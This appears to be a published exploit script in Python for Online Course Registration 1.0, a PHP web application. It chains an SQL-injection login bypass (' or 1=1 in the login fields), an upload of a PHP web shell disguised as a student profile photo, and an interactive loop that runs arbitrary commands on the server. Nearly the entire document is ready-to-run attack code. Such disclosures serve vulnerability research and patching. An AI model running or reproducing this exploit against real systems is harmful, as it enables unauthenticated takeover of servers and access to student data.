Online Course Registration 1.0 Remote Code Execution

`# Exploit Title: Online Course Registration 1.0 - Unauthenticated Remote Code Execution  
# Exploit Author: Bobby Cooke  
# Credit to BKpatron for similar Auth Bypass on admin page - exploit-db.com/exploits/48559  
# Date: 2020-07-15  
# Vendor Homepage: Vendor Homepage: https://www.sourcecodester.com/php/14251/online-course-registration.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-course-registration.zip  
# Version: 1.0  
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4 | Python 2.7.18  
  
import requests, sys, urllib, re  
from colorama import Fore, Back, Style  
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)  
ok = Fore.GREEN+'['+Fore.RESET+'+'+Fore.GREEN+']'+Fore.RESET+' '  
err = Fore.RED+'['+Fore.RESET+'!'+Fore.RED+']'+Fore.RESET+' '  
info = Fore.BLUE+'['+Fore.RESET+'-'+Fore.BLUE+']'+Fore.RESET+' '  
RS = Style.RESET_ALL  
FR = Fore.RESET  
YL = Fore.YELLOW  
RD = Fore.RED  
  
def webshell(SERVER_URL, session):  
try:  
WEB_SHELL = SERVER_URL+'studentphoto/kaio-ken.php'  
getdir = {'telepathy': 'echo %CD%'}  
r2 = session.post(url=WEB_SHELL, data=getdir, verify=False)  
status = r2.status_code  
if status != 200:  
print(err+"Could not connect to the webshell.")  
r2.raise_for_status()  
print(ok+'Successfully connected to webshell.')  
cwd = re.findall('[CDEF].*', r2.text)  
cwd = cwd[0]+"> "  
term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET  
print(RD+')'+YL+'+++++'+RD+'['+FR+'=========>'+' WELCOME BOKU '+'<========'+RD+']'+YL+'+++++'+RD+'('+FR)  
while True:  
thought = raw_input(term)  
command = {'telepathy': thought}  
r2 = requests.get(WEB_SHELL, params=command, verify=False)  
status = r2.status_code  
if status != 200:  
r2.raise_for_status()  
response2 = r2.text  
print(response2)  
except:  
print('\r\n'+err+'Webshell session failed. Quitting.')  
quit()  
  
def formatHelp(STRING):  
return Style.BRIGHT+Fore.RED+STRING+Fore.RESET  
  
def header():  
SIG = RD+' /\\\n'+RS  
SIG += YL+'/vvvvvvvvvvvv '+RD+'\\'+FR+'--------------------------------------,\n'  
SIG += YL+'`^^^^^^^^^^^^'+RD+' /'+FR+'============'+RD+'BOKU'+FR+'====================="\n'  
SIG += RD+' \/'+RS+'\n'  
return SIG  
  
if __name__ == "__main__":  
print(header())  
if len(sys.argv) != 2:  
print(formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0]))  
print(formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/Online Course Registration/'" % sys.argv[0]))  
quit()  
SERVER_URL = sys.argv[1]  
if not re.match(r".*/$", SERVER_URL):  
SERVER_URL = SERVER_URL+'/'  
LOGIN_URL = SERVER_URL+'index.php'  
PROFILE_URL = SERVER_URL+'my-profile.php'  
print(info+'Creating session and saving PHPSESSID')  
s = requests.Session()  
get_session = s.get(SERVER_URL, verify=False)  
if get_session.status_code == 200:  
print(ok+'Successfully connected to server and created session.')  
print(info+get_session.headers['Set-Cookie'])  
else:  
print(err+'Cannot connect to the server and create a web session.')  
bypass_data = {'regno' : '\' or 1=1; -- boku', 'password' : '\' or 1=1; -- boku', 'submit' : ''}  
print(info+'Bypassing authentication of student login portal.')  
auth_bypass = s.post(url=LOGIN_URL, data=bypass_data, verify=False)  
if auth_bypass.history:  
for resp in auth_bypass.history:  
print(info+'Response Status-Code: ' + str(resp.status_code))  
print(info+'Location: ' + str(resp.headers['location']))  
redirectURL = resp.headers['location']  
if re.match(r".*change-password.php", redirectURL):  
print(ok+'Successfully bypassed user portal authentication.')  
else:  
print(err+'Failed to bypass user portal authentication. Quitting.')  
quit()  
get_profile = s.get(url=PROFILE_URL, verify=False)  
Name = str(re.findall(r'name="studentname" value=".*"', get_profile.text))  
Name = re.sub('^.*name="studentname" value="', '', Name)  
Name = re.sub('".*$', '', Name)  
PinCode = str(re.findall(r'name="Pincode" readonly value=".*"', get_profile.text))  
PinCode = re.sub('^.*name="Pincode" readonly value="', '', PinCode)  
PinCode = re.sub('".*$', '', PinCode)  
RegNo = str(re.findall(r'name="studentregno" value=".*"', get_profile.text))  
RegNo = re.sub('^.*name="studentregno" value="', '', RegNo)  
RegNo = re.sub('".*$', '', RegNo)  
print(ok+'{studentname:'+Name+', Pincode:'+PinCode+', studentregno:'+RegNo+'}')  
avatar_img = {  
'photo':   
(  
'kaio-ken.php',   
'<?php echo shell_exec($_REQUEST["telepathy"]); ?>',   
'image/png',   
{'Content-Disposition': 'form-data'}  
)   
}  
upld_data = {'studentname':Name, 'studentregno':RegNo,'Pincode':PinCode,'cgpa':'0.00','submit':''}  
webshell_upload = s.post(url=PROFILE_URL, files=avatar_img, data=upld_data, verify=False)  
print(ok+'Uploaded webshell. Now connecting via POST requests using telepathy.')  
webshell(SERVER_URL, s)  
`